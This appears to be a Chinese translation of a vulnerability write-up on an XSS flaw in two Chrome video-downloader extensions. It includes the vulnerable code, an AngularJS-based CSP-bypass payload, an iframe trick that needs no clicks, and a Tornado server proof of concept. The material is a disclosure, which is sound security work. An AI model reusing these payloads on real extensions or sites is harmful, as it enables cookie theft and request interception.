注意:此帖与先前的Chrome扩展漏洞略有不同。我在文中实际展示了漏洞利用的代码,并分析如何通过扩展程序进行跟踪。
在扫描各种Chrome扩展程序时,我发现流行的Chrome扩展程序视频下载程序适用于Chrome 5.0.0.12
版(820万用户)和Video Downloader Plus
(730万用户)并在浏览器操作中遇到了XSS
漏洞页。要做到利用这些扩展插件,我们只需要让受害者导航到攻击者控制的页面即可。
导致此漏洞的原因是使用了字符串连接来构建HTML
,该HTML
通过jQuery
动态附加到DOM
中。攻击者可以创建一个专门的链接,并在扩展的上下文中执行任意JavaScript
。利用此漏洞,攻击者可以滥用扩展程序并获得以下权限:
"permissions": [
"alarms",
"contextMenus",
"privacy",
"storage",
"cookies",
"tabs",
"unlimitedStorage",
"webNavigation",
"webRequest",
"webRequestBlocking",
"http://*/*",
"https://*/*",
"notifications"
],
利用上述权限,攻击者可以转储浏览器的cookie
并拦截所有浏览器请求,之后经过身份验证的用户将与所有站点进行通信。
漏洞详情
此漏洞的核心是以下代码:
vd.createDownloadSection = function(videoData) {
return '<li class="video"> \
<a class="play-button" href="' + videoData.url + '" target="_blank"></a> \
<div class="title" title="' + videoData.fileName + '">' + videoData.fileName + '</div> \
<a class="download-button" href="' + videoData.url + '" data-file-name="' + videoData.fileName + videoData.extension + '">Download - ' + Math.floor(videoData.size * 100 / 1024 / 1024) / 100 + ' MB</a>\
<div class="sep"></div>\
</li>';
};
这是一个教科书的XSS
攻击的代码的示例。 扩展程序从我们的攻击者控制页面中提取这些视频链接,并直接对其进行利用。 然而,正如例子演示的情况一样,现实世界的情况要复杂得多。 这篇文章将介绍一些防御模块,并展示它们是如何被绕过的。 我们将从输入的位置开始,并进行功能追踪。
路径详情
该扩展程序使用脚本从页面链接(标签)和视频(<video>标签)中收集可能的视频URL
。 脚本使用了JavaScript
代码。在运行用户访问过的浏览器页面后,我们得到了扩展程序的内容脚本:</video>
vd.getVideoLinks = function(node) {
// console.log(node);
var videoLinks = [];
$(node)
.find('a')
.each(function() {
var link = $(this).attr('href');
var videoType = vd.getVideoType(link);
if (videoType) {
videoLinks.push({
url: link,
fileName: vd.getLinkTitleFromNode($(this)),
extension: '.' + videoType
});
}
});
$(node)
.find('video')
.each(function() {
// console.log(this);
var nodes = [];
// console.log($(this).attr('src'));
$(this).attr('src') ? nodes.push($(this)) : void 0;
// console.log(nodes);
$(this)
.find('source')
.each(function() {
nodes.push($(this));
});
nodes.forEach(function(node) {
var link = node.attr('src');
if (!link) {
return;
}
var videoType = vd.getVideoType(link);
videoLinks.push({
url: link,
fileName: vd.getLinkTitleFromNode(node),
extension: '.' + videoType
});
});
});
return videoLinks;
};
从上面的代码中可以发现videoLinks
和视频元素,并且在请求返回之前将信息收集到videoLinks
数组中。 我们控制的videoLinks
元素属性是url
(从href
属性中提取)和fileName
(通过获取title
属性、alt
属性或节点的内部文本来拉取)。
由函数vd.findVideoLinks
调用:
vd.findVideoLinks = function(node) {
var videoLinks = [];
switch (window.location.host) {
case 'vimeo.com':
vd.sendVimeoVideoLinks();
break;
case 'www.youtube.com':
break;
default:
videoLinks = vd.getVideoLinks(node);
}
vd.sendVideoLinks(videoLinks);
};
此调用发生在页面的加载过程:
vd.init = function() {
vd.findVideoLinks(document.body);
};
vd.init();
获取到所有的链接后,它们将通过vd.sendVideoLinks
函数并发送到扩展程序的后台页面。 以下是在扩展的后台页面中声明的消息监听器:
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
switch (request.message) {
case 'add-video-links':
if (typeof sender.tab === 'undefined') {
break;
}
vd.addVideoLinks(request.videoLinks, sender.tab.id, sender.tab.url);
break;
case 'get-video-links':
sendResponse(vd.getVideoLinksForTab(request.tabId));
break;
case 'download-video-link':
vd.downloadVideoLink(request.url, request.fileName);
break;
case 'show-youtube-warning':
vd.showYoutubeWarning();
break;
default:
break;
}
});
我们的例子关于add-video-links
选项。在例子中,我们的send.tab
没有未定义,因此它调用vd.addVideoLinks
并删除之前删除的视频链接。 以下是addVideoLinks
的代码:
vd.addVideoLinks = function(videoLinks, tabId, tabUrl) {
...trimmed for brevity...
videoLinks.forEach(function(videoLink) {
// console.log(videoLink);
videoLink.fileName = vd.getFileName(videoLink.fileName);
vd.addVideoLinkToTab(videoLink, tabId, tabUrl);
});
};
上面的代码检查它是否已经存储了此tabId
的链接数据。 如果不是,它会创建一个新对象。 每条链接数据的fileName
属性并通过vd.getFileName
函数运行,该函数包括以下代码:
vd.getFileName = function(str) {
// console.log(str);
var regex = /[A-Za-z0-9()_ -]/;
var escapedStr = '';
str = Array.from(str);
str.forEach(function(char) {
if (regex.test(char)) {
escapedStr += char;
}
});
return escapedStr;
};
上述函数通过链接数据的fileName
属性破坏了获取DOM-XSS
的机会。 它将删除任何与正则表达式[A-Za-z0-9()_ -]
不匹配的字符,但是其并不包括用于连接HTML中的属性的字符"
。
videoLink
被发送到vd.addVideoLinkToTa
b函数,该函数如下:
vd.addVideoLinkToTab = function(videoLink, tabId, tabUrl) {
...trimmed for brevity...
if (!videoLink.size) {
console.log('Getting size from server for ' + videoLink.url);
vd.getVideoDataFromServer(videoLink.url, function(videoData) {
videoLink.size = videoData.size;
vd.addVideoLinkToTabFinalStep(tabId, videoLink);
});
} else {
vd.addVideoLinkToTabFinalStep(tabId, videoLink);
}
};
该脚本检查数据是否具有size
属性。在未设置大小的情况下,它通过vd.getVideoDataFromServer
获取链接位置处文件的大小:
vd.getVideoDataFromServer = function(url, callback) {
var request = new XMLHttpRequest();
request.onreadystatechange = function() {
if (request.readyState === 2) {
callback({
mime: this.getResponseHeader('Content-Type'),
size: this.getResponseHeader('Content-Length')
});
request.abort();
}
};
request.open('Get', url);
request.send();
};
上面的代码只是触发XMLHTTPRequest
请求以获取指定链接上的文件头,并提取Content-Type
和Content-Length
头。 返回此数据,Content-Length
标头的值用于设置videoLinks
元素的size
属性。 完成此操作后,结果将传递给vd.addVideoLinkToTabFinalStep
:
vd.addVideoLinkToTabFinalStep = function(tabId, videoLink) {
// console.log("Trying to add url "+ videoLink.url);
if (!vd.isVideoLinkAlreadyAdded(
vd.tabsData[tabId].videoLinks,
videoLink.url
) &&
videoLink.size > 1024 &&
vd.isVideoUrl(videoLink.url)
) {
vd.tabsData[tabId].videoLinks.push(videoLink);
vd.updateExtensionIcon(tabId);
}
};
在这里,我们开始遇到一些困难。我们希望将URL
附加到vd.tabsData[tabId].videoLinks
数组,然而这只会在我们传递以下条件时发生:
!vd.isVideoLinkAlreadyAdded(
vd.tabsData[tabId].videoLinks,
videoLink.url
) &&
videoLink.size > 1024 &&
vd.isVideoUrl(videoLink.url)
vd.isVideoLinkAlreadyAdded
是一个简单的检验操作,以查看该URL是否已记录在vd.tabsData[tabId].videoLinks
数组中。 第二项检查是videoLink.size
大于1024
。根据前文,这个值取自检索到的Content-Length
标头。 为了通过此检查,我们创建了一个基本的Python Tornado
服务器并创建了一个通配符路由并返回响应:
...trimmed for brevity...
def make_app():
return tornado.web.Application([
...trimmed for brevity...
(r"/.*", WildcardHandler),
])
...trimmed for brevity...
class WildcardHandler(tornado.web.RequestHandler):
def get(self):
self.set_header("Content-Type", "video/x-flv")
self.write( ("A" * 2048 ) )
...trimmed for brevity...
现在我们已经链接了那条路线。此时,无论我们的链路具体是什么,它总是会路由到一个返回>1024
字节的页面。 这为我们提供了绕过过滤的方法。
下一项检查要求vd.isVideoUrl
函数返回true
,该函数的代码如下:
vd.videoFormats = {
mp4: {
type: 'mp4'
},
flv: {
type: 'flv'
},
mov: {
type: 'mov'
},
webm: {
type: 'webm'
}
};
vd.isVideoUrl = function(url) {
var isVideoUrl = false;
Object.keys(vd.videoFormats).some(function(format) {
if (url.indexOf(format) != -1) {
isVideoUrl = true;
return true;
}
});
return isVideoUrl;
};
这项检查相当简单。 它将检查内容确保URL
中包含mp4,flv,mov或webm
。我们可以通过将.flv
附加到我们的url
的payload的末尾来绕过此检查。
由于我们已成功满足条件的所有要求,因此我们的url
会附加到vd.tabsData[tabId].videoLinks
数组中。
跳转到包含上面显示的易受攻击函数的原始popup.js
脚本,我们看到以下内容:
$(document).ready(function() {
var videoList = $("#video-list");
chrome.tabs.query({
active: true,
currentWindow: true
}, function(tabs) {
console.log(tabs);
vd.sendMessage({
message: 'get-video-links',
tabId: tabs[0].id
}, function(tabsData) {
console.log(tabsData);
if (tabsData.url.indexOf('youtube.com') != -1) {
vd.sendMessage({
message: 'show-youtube-warning'
});
return
}
var videoLinks = tabsData.videoLinks;
console.log(videoLinks);
if (videoLinks.length == 0) {
$("#no-video-found").css('display', 'block');
videoList.css('display', 'none');
return
}
$("#no-video-found").css('display', 'none');
videoList.css('display', 'block');
videoLinks.forEach(function(videoLink) {
videoList.append(vd.createDownloadSection(videoLink));
})
});
});
$('body').on('click', '.download-button', function(e) {
e.preventDefault();
vd.sendMessage({
message: 'download-video-link',
url: $(this).attr('href'),
fileName: $(this).attr('data-file-name')
});
});
});
单击扩展程序的浏览器图标时会触发上述代码。 该扩展程序会在Chrome扩展程序API中查询当前标签的元数据。 此选项卡的ID取自元数据,get-video-links
调用将发送到后台页面。 这个代码只是sendResponse(vd.getVideoLinksForTab(request.tabId))
; 它返回我们上面讨论的视频链接数据。
在处理视频链接并将每个视频链接传递给本文开头所示的vd.createDownloadSection
函数后。我们会看到HTML
构建了一个使用jQuery的.append()
函数附加到DOM的字符串。将带有用户输入的原始HTML传递给append()
是xss的具体应用点。
看来我们可以相对比较容易的将我们的payload
发送到主机系统。然而 我们还有另一个需要克服的问题存在:CSP
。
CSP
有趣的是,此扩展的内容安全策略在其script-src
指令中没有不安全的eval
。 以下是扩展的详情:
script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com; style-src 'self' 'unsafe-inline' 'unsafe-eval'; connect-src *; object-src 'self'
从上面的内容安全策略(CSP)中我们可以看到script-src如下:
script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com
此政策阻止我们访问任意网站,并禁止我们进行内联JavaScript
声明(例如<script>alert('XSS')</script>
。我们执行JavaScript
的唯一方法是从以下某个网站获取资源:
https://www.google-analytics.com
https://ssl.google-analytics.com
https://apis.google.com
https://ajax.googleapis.com
当攻击者希望绕过CSP时,在script-src
指令中我们可以看到https://apis.google.com
和https://ajax.googleapis.com
。 这些站点上托管了许多JavaScript
库,以及JSONP
端点 ,两者都可用于绕过内容安全策略。
注意:如果想查看网站是否是添加到CSP的不良来源,请查看CSP评估工具(具体到@ we1x
)。
对于这个领域的一些先前攻击操作,H5SC Minichallenge 3: "Sh*t, it's CSP!"
,攻击者必须在一个只有白名单ajax.googeapis.com
的页面上实现XSS
。 这一挑战与我们现在面临的情况非常相似。
"ng-app ng-csp><base href=//ajax.googleapis.com/ajax/libs/><script src=angularjs/1.0.1/angular.js></script><script src=prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert(1337
通过修改payload,我们也可以利用此扩展。 以下是使用此技术执行警报的payload(强制Chrome视频下载的XSS):
"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!--
下图显示了单击扩展名图标时我们的payload的触发情况:
我们现在在扩展程序的上下文中执行任意的JavaScript
,并且可以使用扩展程序并访问Chrome
扩展程序API。 但是,它要求用户在我们的恶意页面上单击扩展图标。 在构建漏洞利用时我们要将此意图隐藏起来。
回到manifest.json
中,我们可以看到web_accessible_resources
指令已设置为以下内容:
"web_accessible_resources": [
"*"
]
仅使用通配符意味着任何网页都可以加载 <iframe>
并获取扩展中包含的资源。 在我们的示例中,我们要包含的资源是popup.html
页面,该页面通常在用户单击扩展程序的图标时显示。 通过iframing
此页面以及使用我们之前的payload,我们就得到有一个无需用户交互的漏洞利用方法:
最终的payload如下:
<!DOCTYPE html>
<html>
<body>
<a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!--.flv">test</a>
<iframe src="about:blank" id="poc"></iframe>
<script>
setTimeout(function() {
document.getElementById( "poc" ).setAttribute( "src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html" );
}, 1000);
</script>
</body>
</html>
上述代码为两部分,第一部分为在当前选项栏中设置videoLinks
数组。 第二部分在一秒钟后触发并生成iframe
的位置:chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html
(弹出页面)。 攻击的最终结果如下:
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.write("""
<!DOCTYPE html>
<html>
<body>
<a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!--.flv">test</a>
<iframe src="about:blank" id="poc"></iframe>
<script>
setTimeout(function() {
document.getElementById( "poc" ).setAttribute( "src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html" );
}, 1000);
</script>
</body>
</html>
""")
class WildcardHandler(tornado.web.RequestHandler):
def get(self):
self.set_header("Content-Type", "video/x-flv")
self.write( ("A" * 2048 ) )
def make_app():
return tornado.web.Application([
(r"/", MainHandler),
(r"/.*", WildcardHandler),
])
if __name__ == "__main__":
app = make_app()
app.listen(8888)
tornado.ioloop.IOLoop.current().start()
防御方法
由于没有方法联系任何一位扩展所有者(各个Chrome扩展程序页面上的最小联系人详细信息)。 我联系了一些在Google上使用Chrome扩展程序安全性的开发者。 他们通知了扩展所有者,并努力对这些扩展进行修复。 这两个扩展的最新版本对上述内容已经进行了修复工作。
本文翻译自:https://thehackerblog.com/video-download-uxss-exploit-detailed/